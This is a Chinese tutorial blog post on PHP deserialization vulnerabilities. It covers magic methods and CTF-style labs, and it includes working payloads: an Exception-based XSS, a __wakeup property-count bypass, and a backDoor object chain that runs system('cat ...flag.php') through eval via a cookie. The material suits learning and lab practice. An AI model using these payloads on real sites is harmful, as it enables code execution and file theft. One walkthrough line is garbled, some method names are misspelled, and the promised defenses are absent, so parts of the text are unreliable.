全面解析PHP反序列化漏洞:原理、复现与防御

news2024/12/28 19:45:03

文章目录

  • 概念
  • 序列化数据的含义
  • 魔术方法
  • 魔术方法的使用
        • construct,destruct
        • toString
        • call
        • get
        • set
        • sleep
        • wakeup
        • isset
        • unset
        • invoke
  • 原生态反序列化漏洞
      • 概念
      • 种类
      • 复现
  • wakeup长度绕过
          • 产生原因
          • 条件
          • 复现
  • 基本题型
        • 源码
        • 解读

在Web应用安全领域,PHP反序列化漏洞常常被视为一颗隐形的定时炸弹。它的危害在于能够让攻击者通过精心构造的恶意数据,远程执行任意代码或操作,从而掌控整个系统。随着PHP在Web开发中的广泛使用,反序列化漏洞的威胁也与日俱增。理解其工作原理,并掌握漏洞复现的技巧,对于提升我们对系统安全性的认识和防护能力至关重要。

本文将深入剖析PHP反序列化漏洞的原理,展示如何在实际环境中复现该漏洞,并提供详细的防御措施。无论你是网络安全的新手,还是经验丰富的开发者,都能从中获得宝贵的知识和实用的技能。让我们一同揭开PHP反序列化漏洞的神秘面纱,提升我们的安全防护水平

概念

在PHP中,序列化是将复杂的数据结构(如数组或对象)转换为字符串,方便存储或传输;反序列化则是将该字符串恢复为原来的数据结构。使用serialize()函数进行序列化,使用unserialize()函数进行反序列化。

从图中可以看出序列化数据为O:1:“C”:1:{s:3:“cmd”;s:2:“ls”;},当将ls命令改为cat flag.php时,命令会执行,这就是导致漏洞的根本原因

序列化数据的含义

魔术方法

  • _construct() 构造函数,当对象new的时候自动调用·
  • -destruct() 析构函数,当对象销毁时自动调用
  • _toString() 把类当作字符串使用时触发,用preg_match函数绕过
  • _wakeup() unserialize()时会被自动调用,用unserialize绕过
  • _invoke() 当尝试以调用函数的方法调用一个对象时,会被自动调用,用变量()绕过
  • _call() 在对象上下文中调用不可访问的方法时触发
  • _callStatci() 在静态上下文中调用不可访问的方法时触发
  • _get() 用于不存在的属性读取数据,用变量-》属性绕过
  • _set() 用于将数据写入不可访间的属性
  • _isset() 在不可访问的属性 上调用isset()或empt()触发
  • _unset() 在不可访问的属性上使用unset()时触发
  • _sleep() serialize()函数会检查类中是否存在一个魔术方法 _sleep() 如果存在,该方法会被优先调用
  • -wakeup()魔术方法绕过:条件:版本5~5.6.25 7~7.0.10 过程:将序列化字符串变量个数改成大于真实的属性值即可,从而不会触发wakeup方法

魔术方法的使用

  1. construct,destruct
    1. 概念:

      1. _construct() 构造函数,当对象new的时候自动调用·
      2. -destruct() 析构函数,当对象销毁时自动调用
    2. 代码示例:

      <?php
      // 设置 Content-Type 以确保浏览器正确处理 UTF-8 编码
      header('Content-Type: text/html; charset=utf-8');
      
      class Test {
          public $name;
          public $age;
          public $string;
      
          // __construct:实例化对象时被调用,其作用是初始化一些值。
          public function __construct($name, $age, $string) {
              echo "__construct 初始化"."<br>";
              $this->name = $name;
              $this->age = $age;
              $this->string = $string;
          }
      
          // __destruct:当删除一个对象或对象操作终止时被调用。主要作用是垃圾回收机制。
          function __destruct() {
             echo "__destruct 类执行完毕"."<br>";
          }
      }
      
      // 主动销毁
      $test = new Test("Spaceman", 566, 'Test String');
      unset($test);
      echo '第一种执行完毕'.'<br>';
      echo '----------------------<br>';
      
      // 程序结束自动销毁
      $test = new Test("Spaceman", 566, 'Test String');
      echo '第二种执行完毕'.'<br>';
      ?>
      
      结果:
      __construct 初始化
      __destruct 类执行完毕
      第一种执行完毕
      ----------------------
      __construct 初始化
      第二种执行完毕
      __destruct 类执行完毕
      
  2. toString
    1. 概念

      1. _toString() 把类当作字符串使用时触发,用preg_match函数绕过
    2. 代码示例

      <?php
      // 设置 Content-Type 以确保浏览器正确处理 UTF-8 编码
      header('Content-Type: text/html; charset=utf-8');
      
      class Test {
          public $variable = 'This is a string';
      
          public function good() {
              echo $this->variable . '<br />';
          }
      
          // 在对象当做字符串的时候会被调用
          public function __toString() {
              return '__toString <br>';
          }
      }
      
      $a = new Test();
      $a->good();
      // 输出调用
      echo $a;
      ?>
      
      结果:
      This is a string
      __toString 
      
  3. call
    1. 概念

      1. _call() 在对象上下文中调用不可访问的方法时触发
    2. 代码示例

      <?php
      // 设置 Content-Type 以确保浏览器正确处理 UTF-8 编码
      header('Content-Type: text/html; charset=utf-8');
      
      class Test {
      
          public function good($number, $string) {
              echo '存在good方法'.'<br>';
              echo $number.'---------'.$string.'<br>';
          }
      
          // 当调用类中不存在的方法时,就会调用__call();
          public function __call($method, $args) {
              echo '不存在'.$method.'方法'.'<br>';
              var_dump($args);
          }
      }
      
      $a = new Test();
      $a->good(566, 'nice');
      $b = new Test();
      $b->spaceman(899, 'no');
      ?>
      
      结果:
      存在good方法
      566---------nice
      不存在spaceman方法
      array(2) { [0]=> int(899) [1]=> string(2) "no" } 
      
  4. get
    1. 概念

      1. _get() 用于不存在的属性读取数据,用变量-》属性绕过
    2. 代码示例

      <?php
      // 设置 Content-Type 以确保浏览器正确处理 UTF-8 编码
      header('Content-Type: text/html; charset=utf-8');
      
      class Test {
          public $n = 123;
      
          // __get():访问不存在的成员变量时调用
          public function __get($name) {
              echo '__get 不存在成员变量'.$name.'<br>';
          }
      }
      
      $a = new Test();
      // 存在成员变量n,所以不调用__get
      echo $a->n;
      echo '<br>';
      // 不存在成员变量spaceman,所以调用__get
      echo $a->spaceman;
      ?>
      
      结果:
      123
      __get 不存在成员变量spaceman
      
  5. set
    1. 概念

      1. _set() 用于将数据写入不可访间的属性
    2. 代码示例

      <?php
      // 设置 Content-Type 以确保浏览器正确处理 UTF-8 编码
      header('Content-Type: text/html; charset=utf-8');
      
      class Test {
          public $data = 100;
          protected $noway = 0;
      
          // __set():设置对象不存在的属性或无法访问(私有)的属性时调用
          public function __set($name, $value) {
              echo '__set 不存在成员变量 '.$name.'<br>';
              echo '即将设置的值 '.$value."<br>";
              $this->noway = $value;
          }
      
          public function Get() {
              echo $this->noway;
          }
      }
      
      $a = new Test();
      // 读取 noway 的值,初始为0
      $a->Get();
      echo '<br>';
      // 无法访问(私有)noway属性时调用,并设置值为899
      $a->noway = 899;
      // 经过__set方法的设置noway的值为899
      $a->Get();
      echo '<br>';
      // 设置对象不存在的属性spaceman
      $a->spaceman = 566;
      // 经过__set方法的设置noway的值为566
      $a->Get();
      ?>
      
      结果:
      0
      __set 不存在成员变量 noway
      即将设置的值 899
      899
      __set 不存在成员变量 spaceman
      即将设置的值 566
      566
      
  6. sleep
    1. 概念

      1. _sleep() serialize()函数会检查类中是否存在一个魔术方法 _sleep() 如果存在,该方法会被优先调用
    2. 代码示例

      <?php
      // 设置 Content-Type 以确保浏览器正确处理 UTF-8 编码
      header('Content-Type: text/html; charset=utf-8');
      
      class Test {
          public $name;
          public $age;
          public $string;
      
          // __construct:实例化对象时被调用,其作用是初始化一些值。
          public function __construct($name, $age, $string) {
              echo "__construct 初始化"."<br>";
              $this->name = $name;
              $this->age = $age;
              $this->string = $string;
          }
      
          // __sleep():serialize之前被调用,可以指定要序列化的对象属性
          public function __sleep() {
              echo "当在类外部使用serialize()时会调用这里的__sleep()方法<br>";
              // 例如指定只需要 name 和 age 进行序列化,必须返回一个数组
              return array('name', 'age');
          }
      }
      
      $a = new Test("Spaceman", 566, 'Test String');
      echo serialize($a);
      ?>
      
      结果:
      __construct 初始化
      当在类外部使用serialize()时会调用这里的__sleep()方法
      O:4:"Test":2:{s:4:"name";s:8:"Spaceman";s:3:"age";i:566;}
      
  7. wakeup
    1. 概念

      1. _wakeup() unserialize()时会被自动调用,用unserialize绕过
    2. 代码示例

      <?php
      // 设置 Content-Type 以确保浏览器正确处理 UTF-8 编码
      header('Content-Type: text/html; charset=utf-8');
      
      class Test {
          public $sex;
          public $name;
          public $age;
      
          public function __construct($name, $age, $sex) {
              $this->name = $name;
              $this->age = $age;
              $this->sex = $sex;
          }
      
          public function __wakeup() {
              echo "当在类外部使用unserialize()时会调用这里的__wakeup()方法<br>";
              $this->age = 566;
          }
      }
      
      $person = new Test('spaceman', 21, '男');
      $a = serialize($person);
      echo $a."<br>";
      var_dump(unserialize($a));
      ?>
      
      
      结果:
      O:4:"Test":3:{s:3:"sex";s:3:"男";s:4:"name";s:8:"spaceman";s:3:"age";i:21;}
      当在类外部使用unserialize()时会调用这里的__wakeup()方法
      object(Test)#2 (3) { ["sex"]=> string(3) "男" ["name"]=> string(8) "spaceman" ["age"]=> int(566) } 
      
  8. isset
    1. 概念

      1. _isset() 在不可访问的属性 上调用isset()或empt()触发
    2. 代码示例

      <?php
      // 设置 Content-Type 以确保浏览器正确处理 UTF-8 编码
      header('Content-Type: text/html; charset=utf-8');
      
      class Person {
          public $sex;
          private $name;
          private $age;
      
          public function __construct($name, $age, $sex) {
              $this->name = $name;
              $this->age = $age;
              $this->sex = $sex;
          }
      
          // __isset():当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用。
          public function __isset($content) {
              echo "当在类外部使用isset()函数测定私有成员 {$content} 时,自动调用<br>";
              return isset($this->$content);
          }
      }
      
      $person = new Person("spaceman", 25, '男');
      // public 成员
      echo $person->sex, "<br>";
      // private 成员
      echo isset($person->name);
      ?>
      
      结果:
      男
      当在类外部使用isset()函数测定私有成员 name 时,自动调用
      1
      
  9. unset
    1. 概念

      1. _unset() 在不可访问的属性上使用unset()时触发
    2. 代码示例

      <?php
      // 设置 Content-Type 以确保浏览器正确处理 UTF-8 编码
      header('Content-Type: text/html; charset=utf-8');
      
      class Person {
          public $sex;
          private $name;
          private $age;
      
          public function __construct($name, $age, $sex) {
              $this->name = $name;
              $this->age = $age;
              $this->sex = $sex;
          }
      
          // __unset():销毁对象的某个属性时执行此函数
          public function __unset($content) {
              echo "当在类外部使用unset()函数来删除私有成员 {$content} 时自动调用的<br>";
              echo isset($this->$content)."<br>";
          }
      }
      
      $person = new Person("spaceman", 21, "男"); // 初始赋值
      echo "666666<br>";
      unset($person->name); // 调用 属性私有
      unset($person->age);  // 调用 属性私有
      unset($person->sex);  // 不调用 属性共有
      ?>
      
      结果:
      666666
      当在类外部使用unset()函数来删除私有成员 name 时自动调用的
      1
      当在类外部使用unset()函数来删除私有成员 age 时自动调用的
      1
      
  10. invoke
    1. 概念

      1. _invoke() 当尝试以调用函数的方法调用一个对象时,会被自动调用,用变量()绕过
    2. 代码示例

      <?php
      // 设置 Content-Type 以确保浏览器正确处理 UTF-8 编码
      header('Content-Type: text/html; charset=utf-8');
      
      class Test {
          // __invoke():以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用
          public function __invoke($param1, $param2, $param3) {
              echo "这是一个对象<br>";
              var_dump($param1, $param2, $param3);
          }
      }
      
      $a = new Test();
      $a('spaceman', 21, '男');
      ?>
      
      
      结果:
      这是一个对象
      string(8) "spaceman" int(21) string(3) "男" 
      

原生态反序列化漏洞

漏洞参考文档:浅析PHP原生类-安全客 - 安全资讯平台 (anquanke.com)

  1. 概念

  2. 种类

    1. 通过运行一下代码可得到所有的原生态函数(每个环境的原生态可能不同)

      <?php
      $classes = get_declared_classes();
      foreach ($classes as $class) {
          $methods = get_class_methods($class);
          foreach ($methods as $method) {
              if (in_array($method, array(
                 // '__destruct',
                  '__toString',
                //  '__wakeup',
                 // '__call',
               //   '__callStatic',
               //   '__get',
               //   '__set',
               //   '__isset',
              //    '__unset',
               //   '__invoke',
               //   '__set_state'
              ))) {
                  print $class . '::' . $method . "\n";
              }
          }
      } 
      
  3. 复现

    1.  靶场:
       <?php
       highlight_file(__file__);
       $a = unserialize($_GET['k']);
       echo $a;
       ?>
      
       解题payload:
       <?php
       $a=new Exception("<script>alert('cong')</script>");
       echo urlencode(serialize($a));
       ?>
      
    2. 解读

      1. 首先看到echo函数,想到tostring方法,用上述代码查看原生态的类型

      2. 以Exception为例,Exception的学习参考文章:PHP: Exception::__toString - Manual

      3. 根据介绍,他的报错是在网页端报错,符合xss攻击

wakeup长度绕过

  1. 产生原因
    1. 如果存在__wakeup方法,调用 unserilize() 方法前则先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行
  2. 条件
    1. PHP5 < 5.6.25
    2. PHP7 < 7.0.10
  3. 复现
    1. 靶场:www.zip

    2. 源码实例

      class.php
      <?php
      include 'flag.php';
      error_reporting(0);
      class Name{
          private $username = 'nonono';
          private $password = 'yesyes';
      
          public function __construct($username,$password){
              $this->username = $username;
              $this->password = $password;
          }
      
          function __wakeup(){
              $this->username = 'guest';
          }
      
          function __destruct(){
              if ($this->password != 100) {
                  echo "</br>NO!!!hacker!!!</br>";
                  echo "You name is: ";
                  echo $this->username;echo "</br>";
                  echo "You password is: ";
                  echo $this->password;echo "</br>";
                  die();
              }
              if ($this->username === 'admin') {
                  global $flag;
                  echo $flag;
              }else{
                  echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
                  die();
      
            
              }
          }
      }
      ?>
      
      payload:
      class Name{
          private $username = 'admin';
          private $password = '100';
      }
      $a=new Name();
      echo urlencode(serialize($a));
      
      改变前:O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
      改变后:O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
      

基本题型

源码
<?php
 
error_reporting(0);
highlight_file(__FILE__);
 
class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';
 
    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
 
}
 
class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}
 
class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}
 
$username=$_GET['username'];
$password=$_GET['password'];
 
if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

构造脚本:
<?php
class ctfShowUser{
    private $class;
    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    private $code='system("cat /www/wwwroot/cong/flag.php");';
}
$b=new ctfShowUser();
echo urlencode(serialize($b));
?>

payload:
get:
1.php?username=xxxxxx&password=xxxxxx
post:
Cookie: user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A41%3A%22system%28%22cat+%2Fwww%2Fwwwroot%2Fcong%2Fflag.php%22%29%3B%22%3B%7D%7D

解读
  1. 找到命令执行函数,对应触发的方法为getInfo()

  2. 想办法触发getInfo方法,找到__destruct方法,通过修改 t h i s − > c l a s s − > g e t I n f o ( ) ; 中的 c l a s s 变量来触发 g e t i n f o 方法, this->class->getInfo();中的class变量来触发getinfo方法, this>class>getInfo();中的class变量来触发getinfo方法,this->class->getInfo();代表的意思是执行类变量中的getinfo方法

  3. 构造poc

    1.  <?php
        //首先删除不需要的
       class ctfShowUser{
           private $class = 'backDoor';//这里将info改为backDoor是为了调用backDoor的getInfo方法
        
           public function __construct(){
               $this->class=new backDoor();//这里是为了创建backDoor对象,因为后面需要调用
           }
           public function __destruct(){
               $this->class->getInfo();
           }
        
       }
       class backDoor{
           private $code='system("cat /www/wwwroot/cong/flag.php");';//填写命令
           public function getInfo(){
               eval($this->code);//找到命令执行函数
           }
       }
       $b=new ctfShowUser();
       echo urlencode(serialize($b));
       ?>
      

通过本文的学习,我们不仅深入了解了PHP反序列化漏洞的原理,还掌握了复现该漏洞的具体步骤和有效的防御策略。安全防护不仅是技术上的突破,更是一种持续关注和防范的意识。通过对PHP反序列化漏洞的全面剖析,我们能够更好地识别和修复潜在的安全风险,从而保护我们的系统和数据免受攻击。

在信息安全的道路上,我们每个人都有责任和义务不断提升自身的安全技能和意识。希望本文能为你在安全防护方面提供有价值的指导和帮助,激发你对网络安全的持续关注和兴趣。让我们共同努力,构建一个更为安全和可靠的网络环境。如果你有任何疑问或宝贵的建议,欢迎在评论区与我们互动。感谢你的阅读,期待你的反馈与分享!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1983485.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Tomcat 使用和配置文件(详解)

一.tomcat 介绍 1. tomcat 概述 自从JSP发布之后&#xff0c;推出了各式各样的JSP引擎。Apache Group在完成GNUJSP1.0的开发以后&#xff0c;开始考虑在SUN的JSWDK基础上开发一个可以直接提供Web服务的JSP服务器&#xff0c;当然同时也支持 Servlet&#xff0c;这样Tomcat就诞…

MySQL数据库误删恢复--超详细

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:Linux运维老纪的首页…

Tensorflow——第三讲神经网络八股

前两讲我们学习了使用tensorflow原生代码搭建神经网络&#xff0c;本讲主要学习使用Tensorflow API&#xff1a;tf.keras搭建神经网络 一、搭建网络八股Sequential 六步法&#xff1a; 1.import&#xff1a;import 相关模块&#xff0c;如 import tensorflow as tf 2.train…

2024年7月30日~2024年8月5日周报

一、前言 上周继续修改论文&#xff0c;并阅读了两篇论文。 本周主要修改论文、完成实验、参加一些组会与论文讨论会&#xff0c;并配置了torch环境。 二、完成情况 2.1 论文符号系统注意事项 数学符号应该有唯一性&#xff0c;不能与其他符号造成误解&#xff1b;W_{\mathr…

c++初阶-----适配器---priority_queue

作者前言 &#x1f382; ✨✨✨✨✨✨&#x1f367;&#x1f367;&#x1f367;&#x1f367;&#x1f367;&#x1f367;&#x1f367;&#x1f382; ​&#x1f382; 作者介绍&#xff1a; &#x1f382;&#x1f382; &#x1f382; &#x1f389;&#x1f389;&#x1f389…

极狐GitLab CICD Catalog Beta 功能介绍

极狐GitLab 是 GitLab 在中国的发行版&#xff0c;专门面向中国程序员和企业提供企业级一体化 DevOps 平台&#xff0c;用来帮助用户实现需求管理、源代码托管、CI/CD、安全合规&#xff0c;而且所有的操作都是在一个平台上进行&#xff0c;省事省心省钱。可以一键安装极狐GitL…

【Python】数据类型之列表(下)

&#xff08;6&#xff09;清空列表 功能&#xff1a;clear() 代码示例&#xff1a; &#xff08;7&#xff09;根据值获取索引&#xff08;从左到右找到第一个返回索引&#xff09;【慎用&#xff0c;找不到报错】 功能&#xff1a;index(xyz)&#xff0c;xyz为数据类型。 …

OpenAI gym player mode

题意&#xff1a;OpenAI gym 的自定义模式 问题背景&#xff1a; Does anyone know how to run one of the OpenAI gym environments as a player. As in letting a human player play a round of cart pole? I have seen that there is env.mode human but I have not been…

波兰表达式求值

from operator import add, sub, muldef div(x, y):# 使用整数除法的向零取整方式return int(x / y) if x * y > 0 else -(abs(x) // abs(y))class Solution(object):op_map {: add, -: sub, *: mul, /: div}def evalRPN(self, tokens: List[str]) -> int:stack []for …

【C基础-按要求找数】一个整数,它加上100后是一个完全平方数,再加上168又是一个完全平方数,请问该数是多少

一个整数&#xff0c;它加上100后是一个完全平方数&#xff0c;再加上168又是一个完全平方数&#xff0c;请问该数是多少 完全平方数是指一个整数能够表示为某个整数的平方。换句话说&#xff0c;如果存在一个整数 n&#xff0c;使得 n^2m,那么 m 就是一个完全平方数。 使用C…

第二十一天培训笔记

上午 1 、环境准备 2 、安装 mysql 绿包 3 、配置 mysql 工作环境 mysql -hip 地址 -p3306 -uroot -p &#xff08;远程连接使用&#xff09; 4 、 mysql 基础命令 &#xff08; 1 &#xff09;修改密码 &#xff08; 2 &#xff09;授权远程登录 &#xff08; 3 &#x…

程序员短视频上瘾综合症

一、是你疯了还是面试官疯了&#xff1f; ​ 最近有两个学员咨询问题&#xff0c;把我给整得苦笑不得。大家来看看&#xff0c;你有没有同样的症状。 ​ 第一个学员说去一家公司面试&#xff0c;第一轮面试聊得挺好的。第二轮面试自我感觉良好&#xff0c;但是被面试官给Diss…

模型优化学习笔记—对比各种梯度下降算法

import mathimport numpy as np from opt_utils import * import matplotlib.pyplot as plt# 标准梯度下降 def update_parameters_with_gd(parameters, grads, learning_rate):L len(parameters) // 2for l in range(1, L 1):parameters[f"W{l}"] parameters[f&q…

【uniapp】聊天记录列表长按消息计算弹出菜单方向

1. 效果图 1.1 消息靠上接近导航栏&#xff0c;菜单显在消息体下方弹出&#xff0c;箭头向上 1.2 消息体没有贴近上方导航栏&#xff0c;菜单在消息体上方弹出&#xff0c;箭头向下 1.3 长消息&#xff0c;菜单在手指按下的位置弹出&#xff0c;无箭头 2. 代码实现 <view …

sqli 1- 10

sql靶场 第一关 首先我们需要判断是否存在sql注入点&#xff0c;前端界面提示我使用ID作为参数,在url地址栏输入?id1 通过输入不同的id值查询数据库相对应的内容&#xff0c;之后判断为数字型还是字符型 根据查询内容判断为字符型且有注入点&#xff0c;再通过联合查询&…

Vitis AI 基本操作+模型检查(inspector)用法详解

目录 1. 简介 2. 代码详解 2.1 导入所需的库 2.2 创建 Inspector 2.3 下载模型 2.4 检查模型 3. 其他有用函数 3.1 查看 torchvision 中模型 3.2 保存模型 3.2.1 保存模型参数 3.2.2 保存完整模型 3.2.3 加载模型 4. 总结 1. 简介 在《Vitis AI 构建开发环境&…

GNSS相关知识

各定位系统的频段&#xff1a; SystemSignalFrequency(MHz)GPSL1C/A1575.42L1C1575.42L2C1227.6L2P1227.6L51176.45   GLONASSL1C/A1598.0625-1609.3125L2C1242.9375-1251.6875L2P1242.9375-1251.6875L3OC1202.025   GalileoE11575.42E5a1176.45E5b1207.14E5AltBOC1191.…

SpringBoot之外部化配置

前言 SpringBoot 版本 2.6.13&#xff0c;相关链接 Core Features Default properties (specified by setting SpringApplication.setDefaultProperties).PropertySource annotations on your Configuration classes. Please note that such property sources are not added …

如何在群晖NAS中搭建影音管理利器nastool并实现远程访问本地资源

文章目录 前言1. 本地搭建Nastool2. nastool基础设置3. 群晖NAS安装内网穿透工具4. 配置公网地址5. 配置固定公网地址 前言 Nastool是为群晖NAS玩家量身打造的一款智能化影音管理利器。它不仅能够满足电影发烧友、音乐爱好者和追剧达人的需求&#xff0c;更能让你在繁忙的生活…

疯狂的马达——Arduino

本次学习目标 1、了解马达的运用、以及马达内部的基本原理。 2、学会通过编程控制马达的速度、方向。 3、制作电位器换挡风扇。 马达 “马达”为英语motor的音译&#xff0c;我们称为电机&#xff0c;电机又可分为 发电机和电动机。前者是一种能够将动能转化电能的装置&am…